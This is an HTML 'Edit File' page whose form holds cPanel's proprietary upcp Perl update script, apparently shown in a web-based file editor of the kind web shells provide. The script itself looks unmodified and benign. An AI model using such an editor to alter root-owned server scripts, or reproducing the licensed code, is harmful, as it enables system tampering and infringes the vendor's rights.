<h2>Edit File - upcp</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/upcp">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2025 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::upcp;

BEGIN {
    unshift @INC, q{/usr/local/cpanel};

    # if we are being called with a compile check flag ( perl -c ), skip the begin block
    # so we don&#039;t actually call upcp.static when just checking syntax and such is OK
    return if $^C;

    # static never gets --use-checked and should pass all the begin block checks
    return if $0 =~ /\.static$/;

    # let the &#039;--use-check&#039; instance compiled
    if ( grep { $_ eq &#039;--use-check&#039; } @ARGV ) {
        no warnings;

        # dynamic definition of the INIT block
        eval &quot;INIT { exit(0); }&quot;;
        return;
    }

    system(&quot;$0 --use-check &gt;/dev/null 2&gt;&amp;1&quot;);

    # compilation is ok with &#039;--use-check&#039;, we will continue the non static version
    return if $? == 0;

    my $static = $0 . &quot;.static&quot;;
    if ( -f $static ) {
        print STDERR &quot;We determined that $0 had compilation issues..\n&quot;;
        print STDERR &quot;Trying to exec $static &quot; . join( &#039; &#039;, @ARGV ) . &quot;\n&quot;;
        exec( $^X, $static, @ARGV );
    }
}

use cPstrict;
no warnings;    ## no critic qw(ProhibitNoWarnings)

use Try::Tiny;

use Cpanel::OS::All ();    # PPI USE OK -- make sure Cpanel::OS is embedded
use Cpanel::HiRes ( preload =&gt; &#039;perl&#039; );
use Cpanel::Env                  ();
use Cpanel::Update::IsCron       ();
use Cpanel::Update::Logger       ();
use Cpanel::FileUtils::TouchFile ();
use Cpanel::LoadFile             ();
use Cpanel::LoadModule           ();
use Cpanel::Usage                ();
use Cpanel::UPID                 ();
use IO::Handle                   ();
use POSIX                        ();

use Cpanel::Unix::PID::Tiny ();

my $pidfile              = &#039;/var/run/upcp.pid&#039;;
my $lastlog              = &#039;/var/cpanel/updatelogs/last&#039;;
my $upcp_disallowed_path = &#039;/root/.upcp_controlc_disallowed&#039;;
my $version_upgrade_file = &#039;/usr/local/cpanel/upgrade_in_progress.txt&#039;;
our $logger;    # Global for logger object.
our $logfile_path;
my $now;

my $forced         = 0;
my $fromself       = 0;
my $sync_requested = 0;
my $bg             = 0;
my $rlimit_max     = 1024;
my $from_version;
my $pbar_starting_point;

exit( upcp() || 0 ) unless caller();

sub usage {
    print &lt;&lt;EOS;
Usage: scripts/upcp [--bg] [--cron] [--force] [--help] [--log=[path]] [--sync]
Updates cPanel &amp; WHM.

Options:
   --bg         Runs upcp in the background.  Output is only visible in the log.
   --cron       Follow WHM&#039;s Update Preferences (/etc/cpupdate.conf).
   --force      Force a reinstall even if the system is up to date.
   --help       Display this documentation.
   --log=[path] Overrides the default log file.
   --sync       Updates the server to the currently-installed version instead of downloading a newer version.
                This will also run other maintenance items, such as package updates and repairs.
                You cannot use the --sync argument with the --force argument.

EOS
    exit 1;    ## no critic(Cpanel::NoExitsFromSubroutines) -- /scripts/upcp needs refactor to use Getopt
}

sub upcp {    ## no critic(Subroutines::ProhibitExcessComplexity) - preserve original code
    Cpanel::Usage::wrap_options( \@ARGV, \&amp;usage, {} );    #display usage information on --help

    open( STDERR, &quot;&gt;&amp;STDOUT&quot; ) or die $!;
    local $| = 1;
    umask(0022);

    $now = time();

    setupenv();
    unset_rlimits();

#############################################################################
    # Record the arguments used when started, check for certain flags
    my $update_is_available_exit_code = 42;

    my @retain_argv = @ARGV;

    foreach my $arg (@ARGV) {
        if ( $arg =~ m/^--log=(.*)/ ) {
            $logfile_path = $1;
        }
        elsif ( $arg eq &#039;--fromself&#039; ) {
            $fromself = 1;
        }
        elsif ( $arg eq &#039;--force&#039; ) {
            $forced = 1;
            $ENV{&#039;FORCEDCPUPDATE&#039;} = 1;
        }
        elsif ( $arg eq &#039;--sync&#039; ) {
            $sync_requested = 1;
        }
        elsif ( $arg eq &#039;--bg&#039; ) {
            $bg = 1;
        }
    }

    if ( $sync_requested &amp;&amp; $forced ) {
        print &quot;FATAL: --force and --sync are mutually exclusive commands.\n&quot;;
        print &quot;       Force is designed to update your installed version, regardless of whether it&#039;s already up to date.\n&quot;;
        print &quot;       Sync is designed to update the version already installed, regardless of what is available.\n&quot;;
        return 1;
    }

    if ( $&gt; != 0 ) {
        die &quot;upcp must be run as root&quot;;
    }

#############################################################################
    # Make sure easyapache isn&#039;t already running

    my $upid = Cpanel::Unix::PID::Tiny-&gt;new();

    if ( $upid-&gt;is_pidfile_running(&#039;/var/run/easyapache.pid&#039;) ) {
        print &quot;EasyApache is currently running. Please wait for EasyApache to complete before running cPanel Update (upcp).\n&quot;;
        return 1;
    }

#############################################################################
    # Make sure we aren&#039;t already running &amp;&amp; make sure everyone knows we are running

    my $curpid = $upid-&gt;get_pid_from_pidfile($pidfile) || 0;

    if ( $curpid &amp;&amp; $curpid != $$ &amp;&amp; !$fromself &amp;&amp; -e &#039;/var/cpanel/upcpcheck&#039; ) {

        my $pidfile_mtime = ( stat($pidfile) )[9];
        my $pidfile_age   = ( time - $pidfile_mtime );

        if ( $pidfile_age &gt; 21600 ) {    # Running for &gt; 6 hours
            _logger()-&gt;warning(&quot;previous PID ($curpid) has been running more than 6 hours. Killing processes.&quot;);
            kill_upcp($curpid);          # the pid_file_no_cleanup() will exit if it is still stuck after this
            sleep 1;                     # Give the process group time to die.
        }
        elsif ( my $logpath = _determine_logfile_path_if_running($curpid) ) {
            print _message_about_already_running( $curpid, $logpath ) . &quot;\n&quot;;

            return 1;
        }
    }

    if ( $curpid &amp;&amp; $curpid != $$ &amp;&amp; !$upid-&gt;is_pidfile_running($pidfile) ) {
        print &quot;Stale PID file &#039;$pidfile&#039; (pid=$curpid)\n&quot;;
    }

    if ( !$fromself &amp;&amp; !$upid-&gt;pid_file_no_cleanup($pidfile) ) {
        print &quot;process is already running\n&quot;;
        return 1;
    }

    # to indicate re-entry into upcp
    $pbar_starting_point = $fromself ? 17 : 0;

    # record current version
    $from_version = fetch_cpanel_version();

#############################################################################
    # Set up the upcp log directory and files
    setup_updatelogs();

#############################################################################
    # Fork a child to the background. The child does all the heavy lifting and
    # logs to a file; the parent just watches, reads, and parses the log file,
    # displaying what it gets.
    #
    # Note that the parent reads the log in proper line-oriented -- and buffered!
    # -- fashion. An earlier version of this script did raw sysread() calls here,
    # and had to deal with all the mess that that entailed. The current approach
    # reaps all the benefits of Perl&#039;s and Linux&#039;s significant file read
    # optimizations without needing to re-invent any of them. The parent loop
    # below becomes lean, mean, and even elegant.
    #
    # Note in particular that we do not need to explicitly deal with an
    # end-of-file condition (other than avoiding using undefined data). For
    # exiting the read loop we merely need to test that the child has expired,
    # which in any case is the only situation that can cause an eof condition for
    # us on the file the child is writing.
    #
    # Note, too, that the open() needs to be inside this loop, in case the child
    # has not yet created the file.

    if ( !$fromself ) {

        # we need to be sure that log an pid are the current one when giving back the end
        unlink $lastlog if $bg;
        if ( my $updatepid = fork() ) {
            $logfile_path ||= _determine_logfile_path_if_running($updatepid);

            if ($logger) {    # Close if logged about killing stale process.
                $logger-&gt;{&#039;brief&#039;} = 1;    # Don&#039;t be chatty about closing
                $logger-&gt;close_log;
            }
            if ($bg) {

                print _message_about_newly_started( $updatepid, $logfile_path ) . &quot;\n&quot;;
                my $progress;
                select undef, undef, undef, .10;
                while ( !-e $lastlog ) {
                    print &#039;.&#039;;
                    select undef, undef, undef, .25;
                    $progress = 1;
                }
                print &quot;\n&quot; if $progress;
            }
            else {
                monitor_upcp($updatepid);
            }
            return;
        }
        else {
            $logfile_path ||= _determine_logfile_path_if_running($$);
        }
    }

    local $0 = &#039;cPanel Update (upcp) - Slave&#039;;
    open( my $RNULL, &#039;&lt;&#039;, &#039;/dev/null&#039; ) or die &quot;Cannot open /dev/null: $!&quot;;
    chdir &#039;/&#039;;

    _logger();    # Open the log file.

#############################################################################
    # Set CPANEL_IS_CRON env var based on detection algorithm
    my $cron_reason = set_cron_env();

    $logger-&gt;info(&quot;Detected cron=$ENV{&#039;CPANEL_IS_CRON&#039;} ($cron_reason)&quot;);

    my $set_cron_method = $ENV{&#039;CPANEL_IS_CRON&#039;} ? &#039;set_on&#039; : &#039;set_off&#039;;
    Cpanel::Update::IsCron-&gt;$set_cron_method();

    my $openmax = POSIX::sysconf( POSIX::_SC_OPEN_MAX() );
    if ( !$openmax ) { $openmax = 64; }
    foreach my $i ( 0 .. $openmax ) { POSIX::close($i) unless $i == fileno( $logger-&gt;{&#039;fh&#039;} ); }

    POSIX::setsid();

    open( STDOUT, &#039;&gt;&#039;, &#039;/dev/null&#039; ) or warn $!;
    open( STDERR, &#039;&gt;&#039;, &#039;/dev/null&#039; ) or warn $!;

    $logger-&gt;update_pbar($pbar_starting_point);

##############################################################################
    # Symlink /var/cpanel/updatelogs/last to the current log file
    unlink $lastlog;
    symlink( $logfile_path, $lastlog ) or $logger-&gt;error(&quot;Could not symlink $lastlog: $!&quot;);

#############################################################################
    # now that we have sporked: update our pidfile and ensure it is removed

    unlink $pidfile;                       # so that pid_file() won&#039;t see it as running.
    if ( !$upid-&gt;pid_file($pidfile) ) {    # re-verifies (i.e. upcp was not also started after the unlink() and here) and sets up cleanup of $pidfile for sporked proc
        $logger-&gt;error(&quot;Could not update pidfile “$pidfile” with BG process: $!\n&quot;);
        return 1;
    }

    # Assuming we didn&#039;t get re-executed from a upcp change after updatenow (!$fromself).
    # If the file is still there from a failed run, remove it.
    unlink($upcp_disallowed_path) if !$fromself &amp;&amp; -f $upcp_disallowed_path;

    # make sure that the pid file is going to be removed when killed by a signal
    $SIG{INT} = $SIG{HUP} = $SIG{TERM} = sub {    ## no critic qw(Variables::RequireLocalizedPunctuationVars)
        unlink $pidfile;
        if ($logger) {
            $logger-&gt;close_log;
            $logger-&gt;open_log;
            $logger-&gt;error(&quot;User hit ^C or killed the process ( pid file &#039;$pidfile&#039; removed ).&quot;);
            $logger-&gt;close_log;
        }
        return;
    };

#############################################################################
    # Get variables needed for update

    my $gotSigALRM     = 0;
    my $connecttimeout = 30;
    my $liveconnect    = 0;
    my $connectedhost  = q{};
    my @HOST_IPs       = ();

## Case 46528: license checks moved to updatenow and Cpanel::Update::Blocker

    $logger-&gt;debug(&quot;Done getting update config variables..&quot;);
    $logger-&gt;increment_pbar;

#############################################################################
    # Run the preupcp hook

    if ( -x &#039;/usr/local/cpanel/scripts/preupcp&#039; ) {
        $logger-&gt;info(&quot;Running /usr/local/cpanel/scripts/preupcp&quot;);
        system &#039;/usr/local/cpanel/scripts/preupcp&#039;;
    }

    if ( -x &#039;/usr/local/cpanel/scripts/hook&#039; ) {
        $logger-&gt;info(&quot;Running Standardized hooks&quot;);
        system &#039;/usr/local/cpanel/scripts/hook&#039;, &#039;--category=System&#039;, &#039;--event=upcp&#039;, &#039;--stage=pre&#039;;
    }

    $logger-&gt;increment_pbar();

#############################################################################
    # Check mtime on ourselves before sync

    # This is the target for a goto in the case that the remote TIERS file is
    # changed sometime during the execution of this upcp run.  It prevents the
    # need for a new script argument and re-exec.
  STARTOVER:

    my $updatenow_exit_code;

    my $mtime = ( stat(&#039;/usr/local/cpanel/scripts/upcp&#039;) )[9];

    $logger-&gt;info( &quot;mtime on upcp is $mtime (&quot; . scalar( localtime($mtime) ) . &quot;)&quot; );

    #   * If no fromself arg is passed, it&#039;s either the first run from crontab or called manually.
    #   * --force is passed to updatenow, has no bearing on upcp itself.
    #   * Even if upcp is changed 3 times in a row during an update (fastest builds ever?), we
    #     would never actually update more than once unless the new upcp script changed the logic below

    if ( !$fromself ) {

        # run updatenow to sync everything

        # updatenow expects --upcp to be passed or will error out
        my @updatenow_args = ( &#039;/usr/local/cpanel/scripts/updatenow&#039;, &#039;--upcp&#039;, &quot;--log=$logfile_path&quot; );

        # if --forced was received, pass it on to updatenow
        if ($forced) { push( @updatenow_args, &#039;--force&#039; ); }

        # if --sync was received, pass it on to updatenow. --force makes --sync meaningless.
        if ( !$forced &amp;&amp; $sync_requested ) { push( @updatenow_args, &#039;--sync&#039; ); }

        # This is the point of no return, we are upgrading
        # and its no longer abortable.

        # set flag to disallow ^C during updatenow
        Cpanel::FileUtils::TouchFile::touchfile($upcp_disallowed_path) or $logger-&gt;warn(&quot;Failed to create: $upcp_disallowed_path: $!&quot;);

        # call updatenow, if we get a non-zero status, die.
        my $exit_code = system(@updatenow_args);

        $logger-&gt;increment_pbar(15);

        if ( $exit_code != 0 ) {
            $updatenow_exit_code = $exit_code;
            my $signal = $exit_code % 256;
            $exit_code = $exit_code &gt;&gt; 8;

            analyze_and_report_error(

                #success_msg =&gt; undef,
                error_msg   =&gt; &quot;Running `@updatenow_args` failed, exited with code $exit_code (signal = $signal)&quot;,
                type        =&gt; &#039;upcp::UpdateNowFailed&#039;,
                exit_status =&gt; $exit_code,
                extra       =&gt; [
                    &#039;signal&#039;         =&gt; $signal,
                    &#039;updatenow_args&#039; =&gt; \@updatenow_args,
                ],
            );

        }

        # get the new mtime and compare it, if upcp changed, let&#039;s run ourselves again.
        # this should be a fairly rare occasion.

        my $newmtime = ( stat(&#039;/usr/local/cpanel/scripts/upcp&#039;) )[9];
        if ( $newmtime ne $mtime ) {

            #----&gt; Run our new self (and never come back).
            $logger-&gt;info(&quot;New upcp detected, restarting ourself&quot;);
            $logger-&gt;close_log();
            exec &#039;/usr/local/cpanel/scripts/upcp&#039;, @retain_argv, &#039;--fromself&#039;, &quot;--log=$logfile_path&quot;;
        }
    }

#############################################################################
    # Run the maintenance script

    my $last_logfile_position;
    my $save_last_logfile_position = sub {
        $last_logfile_position = int( qx{wc -l $logfile_path 2&gt;/dev/null} || 0 );
    };

    $logger-&gt;close_log();    # Allow maintenance to write to the log

    $save_last_logfile_position-&gt;();    # remember how many lines has the logfile before starting the maintenance script

    my $exit_status;
    my $version_change_happened = -e $version_upgrade_file;
    if ($version_change_happened) {
        $exit_status = system( &#039;/usr/local/cpanel/scripts/maintenance&#039;, &#039;--pre&#039;, &#039;--log=&#039; . $logfile_path, &#039;--pbar-start=20&#039;, &#039;--pbar-stop=30&#039; );
    }
    else {
        $exit_status = system( &#039;/usr/local/cpanel/scripts/maintenance&#039;, &#039;--log=&#039; . $logfile_path, &#039;--pbar-start=20&#039;, &#039;--pbar-stop=95&#039; );
    }
    $logger-&gt;open_log();                # Re-open the log now maintenance is done.

    analyze_and_report_error(
        success_msg           =&gt; &quot;Pre Maintenance completed successfully&quot;,
        error_msg             =&gt; &quot;Pre Maintenance ended, however it did not exit cleanly ($exit_status). Please check the logs for an indication of what happened&quot;,
        type                  =&gt; &#039;upcp::MaintenanceFailed&#039;,
        exit_status           =&gt; $exit_status,
        logfile               =&gt; $logfile_path,
        last_logfile_position =&gt; $last_logfile_position,
    );

    # Run post-sync cleanup only if updatenow did a sync
    # Formerly run after layer2 did a sync.
    if ($version_change_happened) {

        # post_sync pbar range: 30%-55%
        $logger-&gt;close_log();               # Yield the log to post_sync_cleanup
        $save_last_logfile_position-&gt;();    # remember how many lines has the logfile before starting the post_sync_cleanup script
        my $post_exit_status = system( &#039;/usr/local/cpanel/scripts/post_sync_cleanup&#039;, &#039;--log=&#039; . $logfile_path, &#039;--pbar-start=30&#039;, &#039;--pbar-stop=55&#039; );
        $logger-&gt;open_log;                  # reopen the log to continue writing messages

        analyze_and_report_error(
            success_msg           =&gt; &quot;Post-sync cleanup completed successfully&quot;,
            error_msg             =&gt; &quot;Post-sync cleanup has ended, however it did not exit cleanly. Please check the logs for an indication of what happened&quot;,
            type                  =&gt; &#039;upcp::PostSyncCleanupFailed&#039;,
            exit_status           =&gt; $post_exit_status,
            logfile               =&gt; $logfile_path,
            last_logfile_position =&gt; $last_logfile_position,
        );

        unlink $version_upgrade_file;
        unlink($upcp_disallowed_path) if -f ($upcp_disallowed_path);

        # Maintenance pbar range: 55-95%
        $logger-&gt;close_log();               # Allow maintenance to write to the log
        $save_last_logfile_position-&gt;();    # remember how many lines has the logfile before starting the maintenance --post
        $exit_status = system( &#039;/usr/local/cpanel/scripts/maintenance&#039;, &#039;--post&#039;, &#039;--log=&#039; . $logfile_path, &#039;--pbar-start=55&#039;, &#039;--pbar-stop=95&#039; );
        $logger-&gt;open_log();                # Re-open the log now maintenance is done.

        analyze_and_report_error(
            success_msg           =&gt; &quot;Post Maintenance completed successfully&quot;,
            error_msg             =&gt; &quot;Post Maintenance ended, however it did not exit cleanly ($exit_status). Please check the logs for an indication of what happened&quot;,
            type                  =&gt; &#039;upcp::MaintenanceFailed&#039;,
            exit_status           =&gt; $exit_status,
            logfile               =&gt; $logfile_path,
            last_logfile_position =&gt; $last_logfile_position,
        );

        # Check for new version... used when updating to next LTS version
        $logger-&gt;info(&quot;Polling updatenow to see if a newer version is available for upgrade&quot;);

        $logger-&gt;close_log();    # Yield the log to updatenow
        my $update_available = system( &#039;/usr/local/cpanel/scripts/updatenow&#039;, &quot;--log=$logfile_path&quot;, &#039;--checkremoteversion&#039; );
        $logger-&gt;open_log;       # reopen the log to continue writing messages

        if ( !$sync_requested &amp;&amp; $update_available &amp;&amp; ( $update_available &gt;&gt; 8 ) == $update_is_available_exit_code ) {
            $logger-&gt;info(&quot;\n\n/!\\ - Next LTS version available, restarting upcp and updating system. /!\\\n\n&quot;);
            $fromself = 0;
            goto STARTOVER;
        }
    }
    else {

        # Run sanity check scripts when no version change happened
        # This allows certain install scripts marked as &quot;sanity&quot; to run during regular upcp runs
        $logger-&gt;info(&quot;Running sanity check scripts&quot;);

        $logger-&gt;close_log();               # Yield the log to bin/taskrun --sanity
        $save_last_logfile_position-&gt;();    # remember how many lines has the logfile before starting sanity scripts
        my $sanity_exit_status = run_sanity_install_scripts($logfile_path);
        $logger-&gt;open_log;                  # reopen the log to continue writing messages

        analyze_and_report_error(
            success_msg           =&gt; &quot;Sanity check scripts completed successfully&quot;,
            error_msg             =&gt; &quot;Sanity check scripts ended, however some did not exit cleanly. Please check the logs for an indication of what happened&quot;,
            type                  =&gt; &#039;upcp::SanityInstallScriptsFailed&#039;,
            exit_status           =&gt; $sanity_exit_status,
            logfile               =&gt; $logfile_path,
            last_logfile_position =&gt; $last_logfile_position,
        );

        # Perform the return we used to do if updatenow failed:
        return ( $updatenow_exit_code &gt;&gt; 8 ) if defined $updatenow_exit_code &amp;&amp; $updatenow_exit_code;

        unlink($upcp_disallowed_path) if -f ($upcp_disallowed_path);
    }

#############################################################################
    # Run the post upcp hook

    $logger-&gt;update_pbar(95);
    if ( -x &#039;/usr/local/cpanel/scripts/postupcp&#039; ) {
        $logger-&gt;info(&quot;Running /usr/local/cpanel/scripts/postupcp&quot;);
        system &#039;/usr/local/cpanel/scripts/postupcp&#039;;
    }

    if ( -x &#039;/usr/local/cpanel/scripts/hook&#039; ) {
        $logger-&gt;info(&quot;Running Standardized hooks&quot;);
        system &#039;/usr/local/cpanel/scripts/hook&#039;, &#039;--category=System&#039;, &#039;--event=upcp&#039;, &#039;--stage=post&#039;;
    }

    close($RNULL);

#############################################################################
    # All done.
#############################################################################

    $logger-&gt;update_pbar(100);
    $logger-&gt;info( &quot;\n\n\tcPanel update completed\n\n&quot;, 1 );
    $logger-&gt;info(&quot;A log of this update is available at $logfile_path\n\n&quot;);

    # this happens on exit so it shouldn&#039;t be necessary
    $logger-&gt;info(&quot;Removing upcp pidfile&quot;);

    unlink $pidfile if -f $pidfile || $logger-&gt;warn(&quot;Could not delete pidfile $pidfile : $!&quot;);

    my $update_blocks_fname = &#039;/var/cpanel/update_blocks.config&#039;;
    if ( -s $update_blocks_fname ) {
        $logger-&gt;warning(&quot;NOTE: A system upgrade was not possible due to the following blockers:\n&quot;);
        if ( open( my $blocks_fh, &#039;&lt;&#039;, $update_blocks_fname ) ) {
            while ( my $line = readline $blocks_fh ) {
                my ( $level, $message ) = split /,/, $line, 2;

                # Not using the level in the log, cause the logger can emit additional messages
                # on some of the levels used (fatal emits an &#039;email message&#039;, etc)

                # Remove URL from log output. Make sure message is defined.
                if ($message) {
                    $message =~ s/&lt;a.*?&gt;//ig;
                    $message =~ s{&lt;/a&gt;}{}ig;
                }

                $logger-&gt;warning( uc(&quot;[$level]&quot;) . &quot; - $message&quot; );
            }
        }
        else {
            $logger-&gt;warning(&quot;Unable to open blocks file! Please review &#039;/var/cpanel/update_blocks.config&#039; manually.&quot;);
        }
    }
    else {
        $logger-&gt;info(&quot;\n\nCompleted all updates\n\n&quot;);
    }

    $logger-&gt;close_log();

    return 0;
}

#############################################################################
######[ Subroutines ]########################################################
#############################################################################

sub analyze_and_report_error {
    my %info = @_;

    my $type        = $info{type} or die;
    my $exit_status = $info{exit_status};

    if ( $exit_status == 0 ) {
        if ( defined $info{success_msg} ) {
            $logger-&gt;info( $info{success_msg} );
        }
        return;
    }

    my $msg = $info{error_msg} or die;
    my @extra;
    if ( ref $info{extra} ) {
        @extra = @{ $info{extra} };
    }

    my $logfile_content = Cpanel::LoadFile::loadfile_r($logfile_path);

    # add events to the end of the error log
    if ( try( sub { Cpanel::LoadModule::load_perl_module(&quot;Cpanel::Logs::ErrorEvents&quot;) } ) ) {
        my ($events) = Cpanel::Logs::ErrorEvents::extract_events_from_log( log =&gt; $logfile_content, after_line =&gt; $info{last_logfile_position} );
        if ( $events &amp;&amp; ref $events &amp;&amp; scalar @$events ) {
            my $events_str = join &#039;, &#039;, map { qq[&quot;$_&quot;] } @$events;
            $events_str = qq[The following events were logged: ${events_str}.];
            $msg =~ s{(Please check)}{${events_str} $1} or $msg .= &#039; &#039; . $events_str;
        }
    }

    $logger-&gt;error( $msg, 1 );

    if ( try( sub { Cpanel::LoadModule::load_perl_module(&quot;Cpanel::iContact::Class::$type&quot;) } ) ) {
        require Cpanel::Notify;
        Cpanel::Notify::notification_class(
            &#039;class&#039;            =&gt; $type,
            &#039;application&#039;      =&gt; $type,
            &#039;constructor_args&#039; =&gt; [
                &#039;exit_code&#039;         =&gt; $exit_status,
                &#039;events_after_line&#039; =&gt; $info{last_logfile_position},
                @extra,
                &#039;attach_files&#039; =&gt; [ { &#039;name&#039; =&gt; &#039;update_log.txt&#039;, &#039;content&#039; =&gt; $logfile_content, &#039;number_of_preview_lines&#039; =&gt; 25 } ]
            ]
        );
    }
    elsif (
        !try(
            sub {
                Cpanel::LoadModule::load_perl_module(&quot;Cpanel::iContact&quot;);
                Cpanel::iContact::icontact(
                    &#039;application&#039; =&gt; &#039;upcp&#039;,
                    &#039;subject&#039;     =&gt; &#039;cPanel &amp; WHM update failure (upcp)&#039;,
                    &#039;message&#039;     =&gt; $msg,
                );
            }
        )
    ) {
        $logger-&gt;error(&#039;Failed to send contact message&#039;);
    }

    return 1;
}

#############################################################################

sub kill_upcp {
    my $pid    = shift or die;
    my $status = shift || &#039;hanging&#039;;
    my $msg    = shift || &quot;/usr/local/cpanel/scripts/upcp was running as pid &#039;$pid&#039; for longer than 6 hours. cPanel will kill this process and run a new upcp in its place.&quot;;

    # Attempt to notify admin of the kill.
    if ( try( sub { Cpanel::LoadModule::load_perl_module(&quot;Cpanel::iContact::Class::upcp::Killed&quot;) } ) ) {
        require Cpanel::Notify;
        Cpanel::Notify::notification_class(
            &#039;class&#039;            =&gt; &#039;upcp::Killed&#039;,
            &#039;application&#039;      =&gt; &#039;upcp::Killed&#039;,
            &#039;constructor_args&#039; =&gt; [
                &#039;upcp_path&#039;    =&gt; &#039;/usr/local/cpanel/scripts/upcp&#039;,
                &#039;pid&#039;          =&gt; $pid,
                &#039;status&#039;       =&gt; $status,
                &#039;attach_files&#039; =&gt; [ { &#039;name&#039; =&gt; &#039;update_log.txt&#039;, &#039;content&#039; =&gt; Cpanel::LoadFile::loadfile_r($logfile_path), &#039;number_of_preview_lines&#039; =&gt; 25 } ]
            ]
        );
    }
    else {
        try(
            sub {
                Cpanel::LoadModule::load_perl_module(&quot;Cpanel::iContact&quot;);
                Cpanel::iContact::icontact(
                    &#039;application&#039; =&gt; &#039;upcp&#039;,
                    &#039;subject&#039;     =&gt; &quot;cPanel update $status&quot;,
                    &#039;message&#039;     =&gt; $msg,
                );
            }
        );
    }

    print &quot;Sending kill signal to process group for $pid\n&quot;;
    kill -1, $pid;    # Kill the process group

    for ( 1 .. 60 ) {
        print &quot;Waiting for processes to die\n&quot;;
        waitpid( $pid, POSIX::WNOHANG() );
        last if ( !kill( 0, $pid ) );
        sleep 1;
    }

    if ( kill( 0, $pid ) ) {
        print &quot;Could not kill upcp nicely. Doing kill -9 $pid\n&quot;;
        kill 9, $pid;
    }
    else {
        print &quot;Done!\n&quot;;
    }
    return;
}

#############################################################################

sub setupenv {
    Cpanel::Env::clean_env();
    delete $ENV{&#039;DOCUMENT_ROOT&#039;};
    delete $ENV{&#039;SERVER_SOFTWARE&#039;};
    if ( $ENV{&#039;WHM50&#039;} ) {
        $ENV{&#039;GATEWAY_INTERFACE&#039;} = &#039;CGI/1.1&#039;;
    }
    ( $ENV{&#039;USER&#039;}, $ENV{&#039;HOME&#039;} ) = ( getpwuid($&gt;) )[ 0, 7 ];
    $ENV{&#039;PATH&#039;} .= &#039;:/sbin:/usr/sbin:/usr/bin:/bin:/usr/local/bin&#039;;
    $ENV{&#039;LANG&#039;}   = &#039;C&#039;;
    $ENV{&#039;LC_ALL&#039;} = &#039;C&#039;;
}

sub unset_rlimits {

    # This is required if upcp started running from a pre-1132
    eval {
        local $SIG{__DIE__};
        require Cpanel::Rlimit;
        Cpanel::Rlimit::set_rlimit_to_infinity();
    };

    # CPANEL-43452: Ensure consistent rlimit value between UI and CLI
    eval {
        local $SIG{__DIE__};
        Cpanel::Rlimit::set_rlimit( $rlimit_max, [qw/NOFILE/] );
    };
}

#############################################################################

sub setup_updatelogs {
    return if ( -d &#039;/var/cpanel/updatelogs&#039; );

    unlink(&#039;/var/cpanel/updatelogs&#039;);
    mkdir( &#039;/var/cpanel/updatelogs&#039;, 0700 );
}

sub set_cron_env {

    # Do not override the env var if set.
    return &#039;env var CPANEL_IS_CRON was present before this process started.&#039; if ( defined $ENV{&#039;CPANEL_IS_CRON&#039;} );

    if ( grep { $_ eq &#039;--cron&#039; } @ARGV ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 1;
        return &#039;cron mode set from command line&#039;;
    }

    if ( $ARGV[0] eq &#039;manual&#039; ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 0;
        return &#039;manual flag passed on command line&#039;;
    }

    if ($forced) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 0;
        return &#039;--force passed on command line&#039;;
    }

    if ( -t STDOUT ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 0;
        return &#039;Terminal detected&#039;;
    }

    if ( $ENV{&#039;SSH_CLIENT&#039;} ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 0;
        return &#039;SSH connection detected&#039;;
    }

    # cron sets TERM=dumb
    if ( $ENV{&#039;TERM&#039;} eq &#039;dumb&#039; ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 1;
        return &#039;TERM detected as set to dumb&#039;;
    }

    # Check if parent is whostmgr
    if ( readlink( &#039;/proc/&#039; . getppid() . &#039;/exe&#039; ) =~ m/whostmgrd/ ) {
        $ENV{&#039;CPANEL_IS_CRON&#039;} = 0;
        return &#039;parent process is whostmgrd&#039;;
    }

    # Default to cron enabled.
    $ENV{&#039;CPANEL_IS_CRON&#039;} = 1;
    return &#039;default&#039;;
}

#############################################################################

sub fetch_cpanel_version {
    my $version;
    my $version_file = &#039;/usr/local/cpanel/version&#039;;
    return if !-f $version_file;
    my $fh;
    local $/ = undef;
    return if !open $fh, &#039;&lt;&#039;, $version_file;
    $version = &lt;$fh&gt;;
    close $fh;
    $version =~ s/^\s+|\s+$//gs;
    return $version;
}

#############################################################################

sub monitor_upcp {
    my $updatepid = shift or die;

    $0 = &#039;cPanel Update (upcp) - Master&#039;;

    $SIG{INT} = $SIG{TERM} = sub {
        print &quot;User hit ^C\n&quot;;
        if ( -f $upcp_disallowed_path ) {
            print &quot;Not allowing upcp slave to be killed during updatenow, just killing monitoring process.\n&quot;;
            exit;
        }

        print &quot;killing upcp\n&quot;;

        kill_upcp( $updatepid, &quot;aborted&quot;, &quot;/usr/local/cpanel/scripts/upcp was aborted by the user hitting Ctrl-C.&quot; );
        exit;
    };

    $SIG{HUP} = sub {
        print &quot;SIGHUP detected; closing monitoring process.\n&quot;;
        print &quot;The upcp slave has not been affected\n&quot;;
        exit;
    };

    # Wait till the file shows up.
    until ( -e $logfile_path ) {
        select undef, undef, undef, .25;    # sleep just a bit
    }

    # Wait till we&#039;re allowed to open it.
    my $fh;
    until ( defined $fh &amp;&amp; fileno $fh ) {
        $fh = IO::Handle-&gt;new();
        if ( !open $fh, &#039;&lt;&#039;, $logfile_path ) {
            undef $fh;
            select undef, undef, undef, .25;    # sleep just a bit
            next;
        }
    }

    # Read the file until the pid dies.
    my $child_done = 0;
    while (1) {

        # Read all the available lines.
        while (1) {
            my $line = &lt;$fh&gt;;
            last if ( !defined $line || $line eq &#039;&#039; );
            print $line;
        }

        # Once the child is history, we need to do yet one more final read,
        # on the off chance (however remote) that she has written one last
        # hurrah after we last checked. Hence the following.

        last            if $child_done;                       # from prev. pass
        $child_done = 1 if -1 == waitpid( $updatepid, 1 );    # and loop back for one more read

        select undef, undef, undef, .25;                      # Yield idle time to the cpu
    }

    close $fh if $fh;
    exit;
}

sub _logger {
    return $logger if $logger;
    $logger = Cpanel::Update::Logger-&gt;new( { &#039;logfile&#039; =&gt; $logfile_path, &#039;stdout&#039; =&gt; 1, &#039;log_level&#039; =&gt; &#039;info&#039; } );

    # do not set the pbar in the constructor to do not display the 0 % in bg mode
